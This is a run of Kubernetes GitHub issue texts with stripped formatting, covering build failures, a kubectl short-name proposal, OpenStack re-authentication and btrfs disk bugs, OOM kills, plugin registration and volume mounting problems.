local -a targets=  ; local arg; for arg in \ $@\ ; do     if    \ ${arg}\  == \ --use_go_build\    ; then         use_go_build=true;     else         if    \ ${arg}\  == -    ; then             goflags+= \ ${arg}\  ;         else             targets+= \ ${arg}\  ;         fi;     fi; done; if    ${ targets @ } -eq 0   ; then     targets= \ ${kube_all_targets @ }\  ; fi; local -a platforms= \ ${kube_build_platforms @ :+${kube_build_platforms @ }}\  ; if    ${ platforms @ } -eq 0   ; then     platforms= \ ${host_platform}\  ; fi; local binaries; binaries= $ kube::golang::binaries_from_targets \ ${targets @ }\   ; local parallel=false; if    ${ platforms @ } -gt 1   ; then     local gigs; gigs=$ kube::golang::get_physmem ; if    ${gigs} -ge ${kube_parallel_build_memory}   ; then         kube::log::status \ multiple platforms requested and available ${gigs}g >= threshold ${kube_parallel_build_memory}g, building platforms in parallel\ ; parallel=true;     else         kube::log::status \ multiple platforms requested, but available ${gigs}g < threshold ${kube_parallel_build_memory}g, building platforms in serial\ ; parallel=false;     fi; fi; if    \ ${parallel}\  == \ true\    ; then     kube::log::status \ building go targets for ${platforms @ } in parallel  output will appear in a burst when complete :\  \ ${targets @ }\ ; local platform; for platform in \ ${platforms @ }\ ;     do           kube::golang::set_platform_envs \ ${platform}\ ; kube::log::status \ ${platform}: go build started\ ; kube::golang::build_binaries_for_platform ${platform} ${use_go_build:-}; kube::log::status \ ${platform}: go build finished\    &> \ /tmp//${platform//\\//_}.build\  &     done; local fails=0; for job in $ jobs -p ;     do         wait ${job} || let \ fails+=1\ ;     done; for platform in \ ${platforms @ }\ ;     do         cat \ /tmp//${platform//\\//_}.build\ ;     done; exit ${fails}; else     for platform in \ ${platforms @ }\ ;     do         kube::log::status \ building go targets for ${platform}:\  \ ${targets @ }\ ; kube::golang::set_platform_envs \ ${platform}\ ; kube::golang::build_binaries_for_platform ${platform} ${use_go_build:-};     done; fi  ' exited with status 1 call stack:   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:445 kube::golang::build_binaries ...    2: hack/build-cross.sh:28 main ...  exiting with status 1 !!! error in /usr/local/google/home/ihmccreery/documents/kubernetes/hack/e2e-internal/../../cluster/gce/../../cluster/../build/../build/common.sh:556   '\ ${docker_cmd @ }\  \ $@\ ' exited with status 1 call stack:   1: /usr/local/google/home/ihmccreery/documents/kubernetes/hack/e2e-internal/../../cluster/gce/../../cluster/../build/../build/common.sh:556 kube::build::run_build_command ...    2: /usr/local/google/home/ihmccreery/documents/kubernetes/hack/e2e-internal/../../cluster/gce/../../cluster/../build/release.sh:32 main ...  exiting with status 1 2015/11/03 16:08:57 e2e.go:309: error running build-release: exit status 1 2015/11/03 16:08:57 e2e.go:305: step 'build-release' finished in 8.383768595s 2015/11/03 16:08:57 e2e.go:108: error building. aborting. exit status 1

problem  need short way to type long resource type names.  need to handle not only long kind name  e.g.  replicationcontroller , but also the length of new api group names  e.g.  batch  which is proposed in  20120 , and third-party resource types  e.g.  networkstartup.io/firewall  .   tl;dr  we want user-defined short resource names &mdash; like  po  for  pods , but user defined. they go into a kubectl preferences file.  until we have that feature, we will keep defining short names for our own types, as needed, once they graduate to v1 and out of extensions.   option 1: matching  allow user to type only the part of the type name after the slash.  for example, assuming  networkstartup.io/firewall  is an api group/kind, then you could type  kubectl get firewalls .  in case of multiple matches,  there are two ways to resolve: a defined _sort order_ among api groups  suggested by lavalamp on  20120 , or _error on multiple matches_.  examples of a multiple matches are built-in  pod  vs  metrics.pod   actual  and   persistentvolumes  and  storagestartup.io/persistentvolume   hypothetical .  this would extend the approach currently used by kubectl.  when you run  kubectl get jobs ,  kubectl  uses  restmapper.versionandkindforresource  to map the string  jobs  to    group: extensions/v1beta, kind: jobs  .  this approach is documented in  docs/proposals/api-group.md  docs/proposals/api-group.md .   option 2: extensible short names   kubectl  already maps  rc  to  replicationcontroller .    we can keep hard-coding new mappings into kubectl for api groups that the project owns. but, to support third-party resources, we need a way for others to add new short names.   comparison of 2 options  if we do _matching_, we may later want  _extensible short names_.  for example:  scheduledjob  is shorter than  jobs/scheduledjob , but  sj  is even better.  but, if we do  _extensible short names_, do we really need  _matching_?  extending  restmapper.versionandkindforresource  to include used-defined mappings exposes the user to reasoning about versions.  also, that code is complex, and may not benefit from growing new responsibilities.    tenative recommendation  : implement _extensible short names_ for the third party use case with the mapping stored in a user preference file.  i'm not super confident in the recommendation because i don't understand  restmapper  well.   implementation of extensible short names  mappings for project-owned resources can continue to be compiled in kubectl.  we will add a  .kube/preferences  file.  this will include a map from shortname to full type name. issue  1755 talks about storing prefs in a separate file from  .kube/config .  the latter should take precedence.  that way, the core project can use new names without breaking user's third-party use cases.  two third-parties might both want to use the same suffix  e.g.  faststorage.io/persistentvolume  and  cheapstorage.com/persistentvolume  .  k8s project should not be in the business of picking winners.   therefore, kubernetes project should not produce hard-coded aliases for third-party types.  this line may be a bit fuzzy.  short-name mappings are separate from a more general user-defined aliases mechanism.  issue  18023 talks about user-defined aliases.  it will presumably be like  git aliases  https://git.wiki.kernel.org/index.php/aliases .  this is not a good choice because in order to map the short name  ba  to resource name  foo/bar , you have to write several alias rules, e.g.:        file: $home/.kube/preferences   alias          get ba = get foo/bar $          describe ba = describe foo/bar $          delete ba = delete foo/bar $            ... and so on for all verbs      therefore, we will need shortnames in addition to command aliases.  scripts that use short names will not be portable.  this is okay.  there several  kubectl  command patterns that need to be avoided in portable scripts.  we will document these -- @bgrant0607 has a list of these rules somewhere.  with that said, expressing the short mappings as a user-defined preference makes it more clear to the user that a script is not portable to other users.   for example, you would not write a script that used your own git command aliases and expect it to work for another user.

hi all,  since release 1.3.0-alpha3, gcr.io has all the images required to run k8s on powerpc architecture. it would be good to have a ci setup for power, so that future stuff doesn't break on it. how should i proceed with that? i have been told one way is to get the servers in cncf, but again what would be the specs in that case? alternatively who is the person to contact?  tia.  cc: @luxas @bgrant0607 @roberthbailey @thockin

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging/6521/  failed:  k8s.io  schedulerpredicates  serial  validates that interpodaffinity is respected if matching with multiple affinities {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:233 expected error:     < errors.errorstring | 0xc821ae2730>: {         s: \ namespace e2e-tests-services-dbbfe is active\ ,     }     namespace e2e-tests-services-dbbfe is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:211

02bd8b - 20 builds/hr, 480 tests/hr - the 1.5 gke jobs fail to setup all nodes correctly. spiked wednesday\r 143ba8 - 50 builds/hr, 70 tests/hr - a different cluster of beforesuite failures, on both 1.5 and serial jobs  summary . spiked wednesday.\r \r https://storage.googleapis.com/k8s-gubernator/triage/index.html 02bd8ba009292ae49af5\r https://storage.googleapis.com/k8s-gubernator/triage/index.html 143ba813b745195b5eca\r \r /assign @lukemarsden @roberthbailey @mikedanese @jlowdermilk

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r cinder / openstack / reauth\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r    \r -   kernel    e.g.  uname -a  :\r    \r linux mgmt-01 4.4.0-31-generic  50-ubuntu smp wed jul 13 00:07:12 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r -   install tools  :\r kargo\r -   others  :\r kubelet running in rkt via systemd service; docker still used for kubernetes workloads\r \r   what happened  :\r when kubelet initially starts up, it is able to successfully authenticate to openstack and openstack integration works great   dynamic provisioning with cinder, pulling instance data, etc  . however, after 12h   our token ttl  , kubelet   and other kubernetes components   attempt to reauthenticate and fail to do so --  \r    \r apr 11 16:01:36 control-01 rkt 24916 : i0411 16:01:36.851732   24916 openstack_instances.go:80  claiming to support instances\r apr 11 16:01:38 control-01 rkt 24916 : i0411 16:01:38.892420   24916 container_manager_linux.go:439  discovered runtime cgroups name: /system.slice/docker.service\r apr 11 16:01:42 control-01 rkt 24916 : i0411 16:01:42.974724   24916 server.go:778  get /metrics:  60.65808ms  200   go-http-client/1.1  10.232.255.10:57764 \r apr 11 16:01:47 control-01 rkt 24916 : w0411 16:01:47.858585   24916 openstack_instances.go:75  failed to find compute flavors: successfully re-authenticated, but got error executing request: invalid requst\r    \r after it fails to re-authenticate, cinder persistent volumes can no longer be created. \r \r we did some packet captures and found that during kubelet startup, it sends in the correctly scoped request --\r    \r {\r     \ auth\ : {\r         \ identity\ : {\r             \ methods\ :  \r                 \ password\ \r              , \r             \ password\ : {\r                 \ user\ : {\r                     \ domain\ : {\r                         \ name\ : \ domainname\ \r                     }, \r                     \ name\ : \ username\ , \r                     \ password\ : \ password\ \r                 }\r             }\r         }, \r         \ scope\ : {\r             \ project\ : {\r                 \ id\ : \ 9dedeb58b40044c5a93946bfec716429\ \r             }\r         }\r     }\r }\r    \r when doing the reauth, the scope is missing from the request, \r    \r {\r     \ auth\ : {\r         \ identity\ : {\r             \ methods\ :  \r                 \ password\ \r              , \r             \ password\ : {\r                 \ user\ : {\r                     \ domain\ : {\r                         \ name\ : \ domainname\ \r                     }, \r                     \ name\ : \ username\ , \r                     \ password\ : \ password\ \r                 }\r             }\r         }\r     }\r }\r    \r which results in openstack responding with\r    \r {\r     \ badrequest\ : {\r         \ code\ : 400, \r         \ message\ : \ malformed request url: url's project_id '9dedeb58b40044c5a93946bfec716429' doesn't match context's project_id 'none'\ \r     }\r }\r    \r \r   what you expected to happen  :\r kubernetes components can reauthenticate with openstack as necessary\r \r   how to reproduce it    as minimally and precisely as possible :\r provision an environment with openstack cloud provider, let it sit around for 12h   or longer depending on the configuration for the session to expire  . you should be able to see log messages in kubelet and controller-manager about failing to connect with openstack. you can also attempt to provision a pv/pvc using cinder and see it get stuck in a pending state. \r \r   anything else we need to know  :\r i believe this was working correctly in 1.5.x\r it looks like between 1.5 -> 1.6, gophercloud was replaced/updated. i'm suspecting it has something to do with this, but not positive. \r

refactoring of the  kubectl config  commands according to the  kubectl command implementation conventions  https://github.com/kubernetes/community/blob/master/contributors/devel/kubectl-conventions.md command-implementation-conventions .\r \r making the existent  kubectl config   commands  https://github.com/kubernetes/kubernetes/tree/master/pkg/kubectl/cmd/config  aligned with the conventions increases the code readability, also prevents that the new commands being developed without the pattern, making them easier to the maintaining and review.\r \r e.g. the command  kubectl create authinfo  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/config/create_authinfo.go \r \r   dont follow the pattern  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/config/create_authinfo.go l108-l113 \r \r   the functions  run  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/config/create_authinfo.go l133 ,  validate  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/config/create_authinfo.go l265  and  complete  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/config/create_authinfo.go l241  should be lowercase\r \r another point is the name of files, the  kubectl config set-credentials  command is implemented by  create_authinfo.go  and i'm not sure if  set_credentials.go  would be a better name.  \r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  \r

kubernetes version    use  kubectl version  : 1.5.6 forward\r \r \r   environment  :\r -   cloud provider or hardware configuration  : both bare metal and virtual\r -   os    e.g. from /etc/os-release : suse 12+ or opensuse 42.2+\r -   kernel    e.g.  uname -a  : 4.4.62, but not really relevant in this case\r -   install tools  : suse/opensuse packages\r -   others  : none\r \r \r   what happened  :\r \r the system is using btrfs as main file system, several btrfs subvolumes are mounted under  / , with  /var/lib/kubelet  being one of them.\r \r cadvisor  and hence kubelet  can't determine the disk space available on the root partition because it gets confused by the subvolume major and minor ids.\r \r    \r failed to check if disk space is available on the root partition: failed to get fs info for \ root\ : error trying to get filesystem device for dir /var/lib/kubelet: err: could not find device with major: 0, minor: 50 in cached partitions map\r    \r this is similar to https://github.com/kubernetes/kubernetes/issues/38337 but fix https://github.com/kubernetes/kubernetes/commit/dc8b6cc996ecacf8854871bd31f73afbb3ad95c1 is not enough for it.\r \r i've already a fix for this issue, i'll follow up with a pr later today.\r \r   what you expected to happen  :\r \r no warnings from kubelet.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r     install a system using btrfs as file system for  / \r     create a sub-volume for  /var/lib/kubelet \r     start kubelet  even in disconnected mode \r \r   anything else we need to know  :\r \r i've seen other similar issues, but none of them was about btrfs. the issues were about  tmpfs  or  zfs . my fix for this issue is going to be based on https://github.com/kubernetes/kubernetes/commit/dc8b6cc996ecacf8854871bd31f73afbb3ad95c1 hence it's going to be btrfs specific. that's why i filed this new issue.

is this a bug report  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r my yaml\r \r    yaml\r apiversion: batch/v2alpha1\r kind: cronjob\r metadata:\r   name: -----\r spec:\r   schedule: \  /1        \ \r   successfuljobshistorylimit: 1\r   failedjobshistorylimit: \r    \r \r but ,that  successfuljobshistorylimit  and failedjobshistorylimit not work.\r \r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-05t16:40:42z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r - google cloud container engine beta\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >   \r   what happened  :\r some nodes are oomkilling pods when there is plenty of memory available. \r    \r kernel-monitor, gke-cluster-1-default-pool-81a54c78-gl40\t\t\twarning\t\toomkilling\tmemory cgroup out of memory: kill process 1371  node  score 2081 or sacrifice child\r killed process 1371  node  total-vm:783352kb, anon-rss:201844kb, file-rss:22852kb\r    \r \r   what you expected to happen  :\r a node should not oomkilling pods when there is enough memory available\r \r   how to reproduce it  as minimally and precisely as possible   :\r  not sure how \r \r   anything else we need to know?  :\r grafana screenshot:  http://jmp.sh/oujleil  http://jmp.sh/oujleil \r \r   free -m  \r    \r               total        used        free      shared  buff/cache   available\r mem:           7485        1130        1490           2        4864        6105\r swap:             0           0           0\r    \r \r   kubectl describe node/gke-cluster-1-default-pool-81a54c78-gl40  \r    \r name:\t\t\tgke-cluster-1-default-pool-81a54c78-gl40\r role:\t\t\t\r labels:\t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/fluentd-ds-ready=true\r \t\t\tbeta.kubernetes.io/instance-type=n1-standard-2\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tcloud.google.com/gke-nodepool=default-pool\r \t\t\tfailure-domain.beta.kubernetes.io/region=europe-west4\r \t\t\tfailure-domain.beta.kubernetes.io/zone=europe-west4-c\r \t\t\tkubernetes.io/hostname=gke-cluster-1-default-pool-81a54c78-gl40\r annotations:\t\tnode.alpha.kubernetes.io/ttl=0\r \t\t\tvolumes.kubernetes.io/controller-managed-attach-detach=true\r taints:\t\t\t<none>\r creationtimestamp:\ttue, 20 feb 2018 09:28:33 +0100\r conditions:\r   type\t\t\tstatus\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   kerneldeadlock \tfalse \ttue, 27 feb 2018 10:59:31 +0100 \ttue, 20 feb 2018 09:28:32 +0100 \tkernelhasnodeadlock \t\tkernel has no deadlock\r   networkunavailable \tfalse \ttue, 20 feb 2018 09:28:47 +0100 \ttue, 20 feb 2018 09:28:47 +0100 \troutecreated \t\t\troutecontroller created a route\r   outofdisk \t\tfalse \ttue, 27 feb 2018 10:59:54 +0100 \ttue, 20 feb 2018 09:28:33 +0100 \tkubelethassufficientdisk \tkubelet has sufficient disk space available\r   memorypressure \tfalse \ttue, 27 feb 2018 10:59:54 +0100 \ttue, 20 feb 2018 09:28:33 +0100 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \ttue, 27 feb 2018 10:59:54 +0100 \ttue, 20 feb 2018 09:28:33 +0100 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\ttrue \ttue, 27 feb 2018 10:59:54 +0100 \ttue, 20 feb 2018 09:28:53 +0100 \tkubeletready \t\t\tkubelet is posting ready status. apparmor enabled\r addresses:\r   internalip:\t10.164.0.5\r   externalip:\t35.204.148.71\r   hostname:\tgke-cluster-1-default-pool-81a54c78-gl40\r capacity:\r  cpu:\t\t2\r  memory:\t7664836ki\r  pods:\t\t110\r allocatable:\r  cpu:\t\t1930m\r  memory:\t5784772ki\r  pods:\t\t110\r system info:\r  machine id:\t\t\t71a427311d562f6eac473fa521722280\r  system uuid:\t\t\t71a42731-1d56-2f6e-ac47-3fa521722280\r  boot id:\t\t\t490e784e-15c1-436d-9d71-3f327a056770\r  kernel version:\t\t4.4.86+\r  os image:\t\t\tcontainer-optimized os from google\r  operating system:\t\tlinux\r  architecture:\t\t\tamd64\r  container runtime version:\tdocker://17.3.2\r  kubelet version:\t\tv1.8.7-gke.1\r  kube-proxy version:\t\tv1.8.7-gke.1\r podcidr:\t\t\t10.16.3.0/24\r externalid:\t\t\t9082434899161801451\r non-terminated pods:\t\t 14 in total \r   namespace\t\t\tname\t\t\t\t\t\t\t\tcpu requests\tcpu limits\tmemory requests\tmemory limits\r   ---------\t\t\t----\t\t\t\t\t\t\t\t------------\t----------\t---------------\t-------------\r   default\t\t\tfrontend-proxy-84fcdbd454-tnxkt\t\t\t\t\t300m  15% \t0  0% \t\t0  0% \t\t0  0% \r   kube-system\t\t\tfluentd-gcp-v2.0.9-46gmm\t\t\t\t\t100m  5% \t0  0% \t\t200mi  3% \t300mi  5% \r   kube-system\t\t\tkube-proxy-gke-cluster-1-default-pool-81a54c78-gl40\t\t100m  5% \t0  0% \t\t0  0% \t\t0  0% \r   kube-system\t\t\tnode-exporter-x4f44\t\t\t\t\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r   mcms-acc\t\t\tkrm-cms-mxts-gateway-c577f69c5-9fjrw\t\t\t\t100m  5% \t0  0% \t\t100mi  1% \t100mi  1% \r   mcms-acc\t\t\tkrm-cms-service-55c5f4fff8-dm54b\t\t\t\t100m  5% \t0  0% \t\t200mi  3% \t200mi  3% \r   mcms-acc\t\t\tmongodb-ons-0\t\t\t\t\t\t\t200m  10% \t0  0% \t\t512mi  9% \t512mi  9% \r   mcms-acc\t\t\tons-cms-service-7b7958cdfc-2sbv9\t\t\t\t100m  5% \t0  0% \t\t200mi  3% \t200mi  3% \r   mcms-prod\t\t\tkrm-cms-web-cc5966c5d-zkxv7\t\t\t\t\t100m  5% \t0  0% \t\t200mi  3% \t200mi  3% \r   mcms-prod\t\t\tmongodb-krm-2\t\t\t\t\t\t\t200m  10% \t0  0% \t\t512mi  9% \t512mi  9% \r   mcms-prod\t\t\tmongodb-ons-0\t\t\t\t\t\t\t200m  10% \t0  0% \t\t512mi  9% \t512mi  9% \r   mcms-prod\t\t\tons-cms-mxts-gateway-57d5976bd9-jk6r7\t\t\t\t100m  5% \t0  0% \t\t100mi  1% \t100mi  1% \r   mcms-prod\t\t\tons-cms-service-64555d6468-msqlm\t\t\t\t100m  5% \t0  0% \t\t200mi  3% \t200mi  3% \r   mcms-prod\t\t\tons-cms-web-855cb889f7-swdbs\t\t\t\t\t100m  5% \t0  0% \t\t200mi  3% \t200mi  3% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests\tcpu limits\tmemory requests\tmemory limits\r   ------------\t----------\t---------------\t-------------\r   1800m  93% \t0  0% \t\t2936mi  51% \t3036mi  53% \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t\t\t\t-------------\t--------\t------\t\t-------\r   9m\t\t9m\t\t1\tkernel-monitor, gke-cluster-1-default-pool-81a54c78-gl40\t\t\twarning\t\toomkilling\tmemory cgroup out of memory: kill process 1371  node  score 2081 or sacrifice child\r killed process 1371  node  total-vm:783352kb, anon-rss:201844kb, file-rss:22852kb\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.7-gke.1\ , gitcommit:\ 192ccad06d24af9828cbf42330e1d915cb586406\ , gittreestate:\ clean\ , builddate:\ 2018-01-31t21:39:04z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: google kubernetes engine\r - os  e.g. from /etc/os-release : \r    \r build_id=10032.71.0\r name=\ container-optimized os\ \r kernel_commit_id=c4c6234ae4f384ce00819c41b48ca8f6f1fa3ba8\r google_crash_id=lakitu\r version_id=63\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=63\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r - kernel  e.g.  uname -a  : linux gke-cluster-1-default-pool-81a54c78-gl40 4.4.86+  1 smp thu dec 7 20:11:11 pst 2017 x86_64 intel r  xeon r  c\r pu genuineintel gnu/linux\r - install tools:\r - others:\r

while https://github.com/kubernetes/kubernetes/issues/17226 addressed this question, and https://github.com/kubernetes/website/pull/2743 fixes this for persistent volumes.  it does not for straight v1volumes  or does not document how to do it... where do i put the annotation? .\r \r   \r \r   what happened  :\r i was unable to tell kubernetes to mount an nfsv3 volume as a v1volume\r \r   what you expected to happen  :\r volume would mount\r \r   how to reproduce it  as minimally and precisely as possible   :\r try to use a v1 volume in a pod to mount a nfsv3 only server.\r \r   anything else we need to know?  :\r \r   environment  :\r kubernetes version 1.8 from typhoon.\r on coreos\r - os  e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1632.2.1\r version_id=1632.2.1\r build_id=2018-02-01-2053\r pretty_name=\ container linux by coreos 1632.2.1  ladybug \ \r home_url=\ https://coreos.com/\ \r coreos_board=\ amd64-usr\ \r \r - kernel  e.g.  uname -a  :\r 4.14.16-coreos  1 smp thu feb 1 20:38:35 utc 2018 x86_64\r \r  @kubernetes/rh-storage  @kubernetes/sig-storage-bugs

the tests are failing in http://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.9-master-upgrade-master\r \r  / /  /status approved-for-milestone\r \r cc @jdumars @jberkus\r /assign @thockin @dcbw @caseydavenport

hello!\r \r  /cc @jiayingz @vikaschoudhary16 @vishh @vladimirvivien @sbezverk @saad-ali \r \r in other prs, the issue of plugin registration and most importantly re-registration has surfaced. there's been some talks about implementing it in the csi handler and the device plugin already has some sort of mechanism to handle it.\r \r first we should agree on the definition of re-registration as this has and is still being discussed in the device plugin : \r \r there are two main scenarios:\r 1. two plugins register  on two different sockets  with the same name at the same time and thus end up racing for the registration lock\r 2. a plugin registers with name \ foo\  after x seconds another registers with name x on a different socket\r \r in terms of how realistic these are:\r - 1's most likely cause is a test environment or a plugin re-starting after a crash\r - 2's cause could be two device plugin with the same name  i.e: a user error \r - 2's legitimate cause could be trying a 0 downtime upgrade. once the second plugin is registered it would stop the first plugin and remove it's socket.\r \r i generally expect both scenarios to be handled in exactly the same way. plugin registration should be a fifo structure. the last fsnotify event we get should be the plugin that gets registered.\r \r i.e: regardless of which plugin started first, we process the plugins in the order fsnotify detects them and sends them through the channel.

>  \r   what happened  : assigned pvc to pod in job. according to the documentation this should work, but the job pods are not assigned their volume mounts.\r \r   what you expected to happen  : expected the pvc  and i tried a host mount as well  to be assigned to the pod\r \r   how to reproduce it  as minimally and precisely as possible   : \r create a pv\r create a pvc\r assign the claim to the spec and mount it in a pod within a job spec.template.spec\r observe that the job pod has neither the volume mounted, nor the pvc associated to it. seems to just fail silently or just get ignored.\r \r   anything else we need to know?  : \r i am using minikube with vm-drive=none\r i am using terraform to create the pv and the pvc -- but i have other pvs that work fine form tf\r i am using kubernetes-client npm package to create the jobs\r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: running kubernetes with minikube on an aws ec2 ubuntu 18.04 instance. i am using vm-driver=none with minikube.\r \r - os  e.g. from /etc/os-release : ubuntu 18.04\r - kernel  e.g.  uname -a  : linux ip-10-0-101-223 4.4.0-1062-aws  71-ubuntu smp fri jun 15 10:07:39 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: terraform, kubernetes-client  npm \r - others:\r \r here's the call that i'm using to create the job in the api using post:\r    \r   const created = await client.apis.batch.v1.namespaces 'default' .jobs.post {\r     body: {\r       \ apiversion\ : \ batch/v1\ ,\r       \ kind\ : \ job\ ,\r       \ metadata\ : {\r         \ name\ : \ myjobname\ \r       },\r       \ spec\ : {\r         completions: 1,\r         paralellism: 1,\r         activedeadlineseconds: 10,\r         \ template\ : {\r           \ spec\ : {\r             volume: {\r               name: \ var-task\ ,\r               persistentvolumeclaim: {\r                 claimname: \ var-task-claim\ \r               }\r             },\r             \ containers\ :  \r               {\r                 \ image\ : \ lambci/lambda:java8\ , \r                 \ name\ : \ docker-lambda\ ,\r                 \ env\ : env.concat  \r                   { name: \ aws_lambda_function_handler\ , value: \ com.test.handler\ },\r                   { name: \ aws_lambda_event_body\ , value:\ somemesssage\ }\r                   ,\r                 volumemount: {\r                   name: \ var-task\ ,\r                   mountpath: \ /var/task\ \r                 }\r               }\r              ,\r             \ restartpolicy\ : \ never\ ,\r           },\r           \ backofflimit\ : 2\r         }\r       }\r     }\r   } ;\r    \r \r seems pretty straightforward.\r \r the pvs look like this:\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   labels:\r     type: local\r   name: var-task-code\r spec:\r   accessmodes:\r   - readonlymany\r   capacity:\r     storage: 1gi\r   hostpath:\r     path: /var/task/code\r     type: \ \ \r    \r the claim  from kubectl -o yaml output; this one shows as bound, but the pod does not show it as bound to it :\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     control-plane.alpha.kubernetes.io/leader: '{\ holderidentity\ :\ 5d03cf3e-a296-11e8-b59f-0e248a0c9f68\ ,\ leasedurationseconds\ :15,\ acquiretime\ :\ 2018-08-21t04:09:03z\ ,\ renewtime\ :\ 2018-08-21t04:09:33z\ ,\ leadertransitions\ :0}'\r     pv.kubernetes.io/bind-completed: \ yes\ \r     pv.kubernetes.io/bound-by-controller: \ yes\ \r     volume.beta.kubernetes.io/storage-provisioner: k8s.io/minikube-hostpath\r   creationtimestamp: 2018-08-21t04:09:01z\r   finalizers:\r   - kubernetes.io/pvc-protection\r   name: waveform-processor-claim\r   namespace: default\r   resourceversion: \ 1278499\ \r   selflink: /api/v1/namespaces/default/persistentvolumeclaims/var-task-claim\r   uid: ef61c6e5-a4f7-11e8-9e7b-e267fa715d27\r spec:\r   accessmodes:\r   - 